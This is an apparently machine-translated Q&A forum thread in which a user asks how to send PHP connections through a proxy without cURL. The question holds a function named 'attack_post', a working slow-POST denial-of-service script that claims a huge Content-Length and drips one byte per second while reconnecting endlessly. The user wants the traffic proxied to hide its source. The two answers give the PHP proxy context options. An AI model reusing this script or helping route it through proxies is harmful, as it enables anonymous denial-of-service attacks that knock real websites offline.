P
P
PO6OT2015-05-18 18:53:53
PHP
PO6OT, 2015-05-18 18:53:53

How in php to conduct all completely Internet connections through a proxy without installing programs?

How to make an Internet connection in php through a proxy without installing programs (for example, cURL needs to be installed - it doesn't work)?
How can I change this code to be a proxy?

function attack_post($server, $host){
$request = "POST /".md5(rand())." HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
$request .= "Content-Length: 1000000000\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Accept: *.*\r\n";

$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);

while (true){
if (@fwrite($sockfd, ".") !== FALSE){
echo ".";
sleep(1);
}else{
echo "\nOne post attack failed to sent...\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
}
}
}

Answer the question

In order to leave comments, you need to log in

2 answer(s)
A
Andrey Mokhov, 2015-05-18
@woonem

you can use the usual functions fopen, file_get_contents and others ... while wrapping them through a proxy server ... each of the functions has an optional $context parameter, see the documentation on creating a context: stream_context_create

S
Stalker_RED, 2015-05-18
@Stalker_RED

php.net/manual/en/context.http.php
Options -> proxy

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question